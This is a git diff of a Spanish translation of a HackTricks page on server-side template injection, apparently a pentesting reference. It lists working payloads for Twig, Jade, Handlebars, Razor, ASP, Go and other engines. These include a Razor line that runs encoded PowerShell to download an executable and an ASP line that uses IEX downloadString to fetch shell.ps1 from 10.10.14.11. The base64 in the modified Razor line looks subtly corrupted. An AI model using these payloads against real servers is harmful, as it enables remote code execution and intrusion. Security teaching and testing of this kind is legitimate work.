@ -451,7 +451,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro efervescente para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -467,7 +467,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
**Más información**
|
||||
|
||||
* En la sección Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* En la sección de Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
|
||||
### Twig (PHP)
|
||||
|
@ -476,7 +476,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
* `${7*7} = ${7*7}`
|
||||
* `{{7*'7'}} = 49`
|
||||
* `{{1/0}} = Error`
|
||||
* `{{foobar}} Nada`
|
||||
* `{{foobar}} Nothing`
|
||||
```python
|
||||
#Get Info
|
||||
{{_self}} #(Ref. to current application)
|
||||
|
@ -514,12 +514,12 @@ array("first_name" => $user.first_name)
|
|||
```
|
||||
**Más información**
|
||||
|
||||
* En la sección de Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* En la sección Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates se inspira en Twig pero es un motor de plantillas PHP nativo en lugar de un motor de plantillas compilado.
|
||||
Plates está inspirado en Twig pero es un motor de plantillas PHP nativo en lugar de un motor de plantillas compilado.
|
||||
|
||||
controlador:
|
||||
```php
|
||||
|
@ -606,6 +606,8 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
?>
|
||||
```
|
||||
### Jade (NodeJS)
|
||||
|
||||
Jade, ahora conocido como Pug, es un motor de plantillas de NodeJS que permite la inyección de plantillas en el lado del servidor. Puedes explotar vulnerabilidades de inyección de plantillas en Jade para ejecutar código arbitrario en el servidor.
|
||||
```javascript
|
||||
- var x = root.process
|
||||
- x = x.mainModule.require
|
||||
|
@ -623,7 +625,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) es un motor de plantillas PHP que no compila, y que utiliza etiquetas XML para dividir un documento en diferentes partes.
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) es un motor de plantillas PHP que no compila, el cual utiliza etiquetas XML para dividir un documento en diferentes partes.
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -637,7 +639,7 @@ Hello {NAME}.<br/>
|
|||
```
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Path Traversal (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
Travesía de ruta (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
|
@ -676,10 +678,10 @@ URLencoded:
|
|||
|
||||
| **Plantilla** | **Descripción** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Evaluar y renderizar salida |
|
||||
| | Evaluar y renderizar salida codificada en HTML |
|
||||
| | Comentario |
|
||||
| y | Permitir código (deshabilitado por defecto) |
|
||||
| | Evaluar y renderizar la salida |
|
||||
| | Evaluar y renderizar la salida codificada en HTML |
|
||||
| | Comentario |
|
||||
| y | Permitir código (deshabilitado por defecto) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
@ -757,7 +759,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Consulta la siguiente página para aprender trucos sobre **ejecución de comandos arbitrarios evitando sandboxes** en python:
|
||||
Consulta la siguiente página para aprender trucos sobre **burlar las cajas de arena de ejecución de comandos arbitrarios** en python:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -790,9 +792,9 @@ Consulta la siguiente página para aprender trucos sobre **ejecución de comando
|
|||
|
||||
### Jinja2 (Python)
|
||||
|
||||
[Sitio oficial](http://jinja.pocoo.org)
|
||||
[Sitio web oficial](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 es un motor de plantillas completo para Python. Cuenta con soporte completo para unicode, un entorno de ejecución opcional integrado y protegido, es ampliamente utilizado y tiene licencia BSD.
|
||||
> Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo para Unicode, un entorno de ejecución en sandbox opcional, ampliamente utilizado y con licencia BSD.
|
||||
|
||||
* `{{7*7}} = Error`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -862,16 +864,16 @@ ${x}
|
|||
|
||||
* `@(2+2) <= Éxito`
|
||||
* `@() <= Éxito`
|
||||
* `@("{{code}}") <= Éxito`
|
||||
* `@ <=Éxito`
|
||||
* `@("{{código}}") <= Éxito`
|
||||
* `@ <= Éxito`
|
||||
* `@{} <= ¡ERROR!`
|
||||
* `@{ <= ¡ERROR!`
|
||||
* `@(1+2)`
|
||||
* `@( //Código C# )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
El método `System.Diagnostics.Process.Start` de .NET se puede utilizar para iniciar cualquier proceso en el servidor y así crear una webshell. Puedes encontrar un ejemplo de aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
El método `System.Diagnostics.Process.Start` de .NET se puede utilizar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**Más información**
|
||||
|
||||
|
@ -883,17 +885,17 @@ El método `System.Diagnostics.Process.Start` de .NET se puede utilizar para ini
|
|||
* `<%= 7*7 %>` = 49
|
||||
* `<%= "foo" %>` = foo
|
||||
* `<%= foo %>` = Nada
|
||||
* `<%= response.write(date()) %>` = \<Fecha>
|
||||
* `<%= response.write(date()) %>` = \<Date>
|
||||
```bash
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
**Más información**
|
||||
**Más Información**
|
||||
|
||||
* [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Aunque es Perl, utiliza etiquetas como ERB en Ruby.
|
||||
Incluso si es perl, utiliza etiquetas como ERB en Ruby.
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Error`
|
||||
|
@ -903,26 +905,26 @@ Aunque es Perl, utiliza etiquetas como ERB en Ruby.
|
|||
```
|
||||
### SSTI en GO
|
||||
|
||||
Para confirmar que el motor de plantillas utilizado en el backend es Go, puedes usar estos payloads:
|
||||
La forma de confirmar que el motor de plantillas utilizado en el backend es Go es mediante el uso de estos payloads:
|
||||
|
||||
* `{{ . }}` = estructura de datos pasada como entrada a la plantilla
|
||||
* Si los datos pasados son un objeto que contiene el atributo Password, por ejemplo, el payload anterior lo revelaría, pero también podrías hacer: `{{ .Password }}`
|
||||
* Si los datos pasados son un objeto que contiene el atributo Password por ejemplo, el payload anterior lo filtraría, pero también podrías hacer: `{{ .Password }}`
|
||||
* `{{printf "%s" "ssti" }}` = debería mostrar la cadena ssti en la respuesta
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}` = Estos son algunos otros payloads que deberían mostrar la cadena "ssti" sin las palabras finales "js" o "html". Puedes referirte a más palabras clave en el motor [aquí](https://golang.org/pkg/text/template).
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}` = Estos son algunos otros payloads que deberían mostrar la cadena "ssti" sin las palabras finales "js" o "html". Puedes consultar más palabras clave en el motor [aquí](https://golang.org/pkg/text/template).
|
||||
|
||||
**Explotación de XSS**
|
||||
|
||||
Si el servidor **está utilizando el paquete text/template**, XSS es muy fácil de lograr **simplemente** proporcionando tu **payload** como entrada. Sin embargo, eso **no es el caso con html/template** ya que codifica la respuesta en HTML: `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
Si el servidor está **utilizando el paquete text/template**, XSS es muy fácil de lograr simplemente proporcionando tu **payload** como entrada. Sin embargo, eso **no es el caso con html/template** ya que codifica en HTML la respuesta: `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
|
||||
Sin embargo, Go permite **DEFINIR** una **plantilla** completa y **luego llamarla**. El payload sería algo como:\
|
||||
Sin embargo, Go permite **DEFINIR** una **plantilla** completa y luego **llamarla más tarde**. El payload sería algo así:\
|
||||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||||
|
||||
**Explotación de RCE**
|
||||
|
||||
La documentación para el módulo html/template se puede encontrar [aquí](https://golang.org/pkg/html/template/), y la documentación para el módulo text/template se puede encontrar [aquí](https://golang.org/pkg/text/template/), y sí, varían mucho. Por ejemplo, en **text/template**, puedes **llamar directamente a cualquier función pública con el valor “call”**, sin embargo, esto no es posible con html/template.
|
||||
La documentación tanto para el módulo html/template se puede encontrar [aquí](https://golang.org/pkg/html/template/), y la documentación para el módulo text/template se puede encontrar [aquí](https://golang.org/pkg/text/template/), y sí, varían mucho. Por ejemplo, en **text/template**, puedes **llamar directamente a cualquier función pública con el valor "call"**, sin embargo, esto no es posible con html/template.
|
||||
|
||||
Si quieres encontrar un RCE en Go a través de SSTI, debes saber que, así como puedes acceder al objeto dado a la plantilla con `{{ . }}`, también puedes **llamar a los métodos del objeto**. Así que, imagina que el **objeto pasado tiene un método llamado System** que ejecuta el comando dado, podrías abusar de él con: `{{ .System "ls" }}`\
|
||||
Por lo tanto, probablemente **necesitarás el código fuente**. Un código fuente potencial para algo así se vería como:
|
||||
Si deseas encontrar una RCE en Go a través de SSTI, debes saber que al poder acceder al objeto dado a la plantilla con `{{ . }}`, también puedes **llamar a los métodos de los objetos**. Entonces, imagina que el **objeto pasado tiene un método llamado System** que ejecuta el comando dado, podrías abusar de él con: `{{ .System "ls" }}`\
|
||||
Por lo tanto, probablemente **necesitarás el código fuente**. Un código fuente potencial para algo así se vería así:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -934,7 +936,7 @@ return string(out)
|
|||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
||||
### Más Exploits
|
||||
### Más exploits
|
||||
|
||||
Consulta el resto de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) para más exploits. También puedes encontrar información interesante sobre etiquetas en [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
|
@ -942,7 +944,7 @@ Consulta el resto de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/m
|
|||
|
||||
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
|
||||
|
||||
## Ayuda Relacionada
|
||||
## Ayuda relacionada
|
||||
|
||||
Si crees que podría ser útil, lee:
|
||||
|
||||
|
@ -959,11 +961,11 @@ Si crees que podría ser útil, lee:
|
|||
|
||||
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
||||
|
||||
## Lista de Detección de Fuerza Bruta
|
||||
## Lista de detección de fuerza bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
## Práctica y Referencias
|
||||
## Práctica y referencias
|
||||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
@ -971,20 +973,20 @@ Si crees que podría ser útil, lee:
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro efervescente para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue